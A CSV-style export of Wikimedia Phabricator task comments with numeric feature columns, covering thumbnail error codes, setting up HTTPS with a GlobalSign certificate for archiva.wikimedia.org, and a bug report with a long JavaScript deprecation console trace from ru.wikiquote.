+406873,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",See also T75935 and T74328.,,,1423091617,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+406075,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",CCing #operations ,,,1422957679,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+88139,Force https for archiva.wikimedia.org,,Medium,50.0,1422645688,1428508151.0,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-TASK-ate2dtsfqoctkh66varh,task_description,resolved,True,c3,1,True,True,True,-22,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+440339,Force https for archiva.wikimedia.org,"Change 202474 merged by Ottomata:
+Set up https with archiva certificate for archiva.wikmedia.org
+
+[[https://gerrit.wikimedia.org/r/202474]]",,,1428507457,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440078,Force https for archiva.wikimedia.org,"@dzahn could you review this?
+
+https://gerrit.wikimedia.org/r/#/c/202474/11/manifests/role/archiva.pp
+
+I think I'm doing it ok?  I do have install_certificate in there.",,,1428456179,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0
+439984,Force https for archiva.wikimedia.org,"Make sure the intermediate certificate is actually added to the certificate chain. Either you need to specify it in manifests/certs.pp or with install_certficate. Common error we run into is that we don't add it and then we use the defaults which adds wmf-ca.pem and creates a broken chain.
+
+
+```
+ 36             /^sni\./                       => 'GlobalSign_CA.pem',
+ 37             'uni.wikimedia.org'            => 'GlobalSign_CA.pem',
+ 38             'star.wmflabs.org'             => 'RapidSSL_CA.pem GeoTrust_Global_CA.pem',
+ 39             'star.wmflabs'                 => 'wmf-labs.pem',
+ 40             'star.planet.wikimedia.org'    => 'DigiCertHighAssuranceCA-3.pem DigiCert_High_Assurance_EV_Root_CA.pem',
+ 41             'star.wmfusercontent.org'      => 'GlobalSign_CA.pem',
+ 42             default => 'wmf-ca.pem',
+
+```",,,1428444014,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+439891,Force https for archiva.wikimedia.org,"Change 202474 had a related patch set uploaded (by Ottomata):
+[WIP] Set up https with archiva certificate for archiva.wikmedia.org
+
+[[https://gerrit.wikimedia.org/r/202474]]
+",,,1428435400,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+439690,Force https for archiva.wikimedia.org,"Since this wasn't just a 'buy cert' task, I'm assigning it back to @ottomata.  The archiva.wikimedia.org cert and key are now in the pub/private repos.  Please ensure you use the GlobalSign intermediary certificate.  (You can glance at gerrit's use for this, as it also uses a globalsign certificate.)",,,1428420918,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,0
+439688,Force https for archiva.wikimedia.org,"Change 202411 merged by RobH:
+archiva.wikimedia.org certificate
+
+[[https://gerrit.wikimedia.org/r/202411]]",,,1428420823,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+439686,Force https for archiva.wikimedia.org,"Change 202411 had a related patch set uploaded (by RobH):
+archiva.wikimedia.org certificate
+
+[[https://gerrit.wikimedia.org/r/202411]]
+",,,1428420642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+437986,Force https for archiva.wikimedia.org,Any updates?,,,1428070309,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+434227,Force https for archiva.wikimedia.org,The certificate order is tracked on https://rt.wikimedia.org/Ticket/Display.html?id=9286,,,1427484953,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+429787,Force https for archiva.wikimedia.org,"The main issue is this:
+
+https://github.com/wikimedia/operations-puppet/blob/production/manifests/role/archiva.pp#L34
+
+Archiva has to deal with large objects being upload and downloaded, so it needs custom settings for whatever proxies to it.  Brandon was saying that this made archiva sound like it didn't belong behind misc web.  Even if there was no varnish caching, but nginx and varnish would have to be configured to allow for these settings.  If we get archiva its own cert, we can keep the nginx proxy on archiva and just do ssl termination there.
+
+I would much rather put this behind misc-web, but it seems modifying misc-web just for this means that archiva is not 'misc-web'.",,,1426862760,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+429475,Force https for archiva.wikimedia.org,"There is also the option to use misc-web but without the varnish caching, so to just let it pass throught all requests but still get the benefits of the wildcard cert. (we do this for a few services, return (pass);)",,,1426805816,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+429359,Force https for archiva.wikimedia.org,"Yes, but the main question asked with every certificate purchase is why it cannot exist behind misc-web.  While I see you reference this conversation occurred, can you summarize the reasoning on task please?
+
+",,,1426792160,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+424513,Force https for archiva.wikimedia.org,@robh can we get an ssl cert for archiva.wikimedia.org?,,,1426084560,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+424511,Force https for archiva.wikimedia.org,"We should do this, login, duh",,,1426084454,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+423380,Force https for archiva.wikimedia.org,"Not sure I actually want to do this.  misc-web doesn't seem like a good place to host this, after a discussion with other opsen.  I would like to have https on it, but to do so I think I need to buy a specific cert for it. Maybe eventually...",,,1425934795,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-ate2dtsfqoctkh66varh,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+87741,Deprecation errors in JavaScript prevent autologin,"I have recently observed that, whenever I visit ru.wikiquote, I'm not logged in, while I'm logged in in dozens other Wikiquote subdomains (even never visited before) in the same Chromium window.
+
+The only difference I can spot is that the console is full of deprecation errors, probably due to the recent deprecation galore and the following scripts:
+```
+https://ru.wikiquote.org/w/index.php?title=MediaWiki:Wikificator.js&action=raw&ctype=text/javascript
+https://ru.wikiquote.org/w/index.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript
+https://ru.wikiquote.org/w/index.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript
+```
+
+Such deprecation errors have already put the entire JavaScript codebase of other wikis KO before, cf. {T86142}, so they might as well cause a failure of the CentralAuth JavaScript.
+
+For instance, at https://ru.wikiquote.org/w/index.php?title=%D0%95%D0%B2%D1%80%D0%B8%D0%BF%D0%B8%D0%B4&action=edit&debug=true I get:
+
+```
+Use of ""wgCanonicalNamespace"" is deprecated. Use mw.config instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:120 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgAction"" is deprecated. Use mw.config instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:121 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:122 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:123 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:124 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgAction"" is deprecated. Use mw.config instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:126 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:7 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:23 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""appendCSS"" is deprecated. Use mediawiki.util instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:67 summaryButtonsindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:79 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgNamespaceNumber"" is deprecated. Use mw.config instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:85 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgNamespaceNumber"" is deprecated. Use mw.config instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:85 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgAction"" is deprecated. Use mw.config instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:112 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:5 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:6 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:7 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:8 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:9 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:11 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:14 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:3143 fireload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:3189 self.addload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:3423 jQuery.fn.readyload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:2863 jQuery.fn.initload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:73 jQueryindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:13 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:17 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""appendCSS"" is deprecated. Use mediawiki.util instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:20 (anonymous function)
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
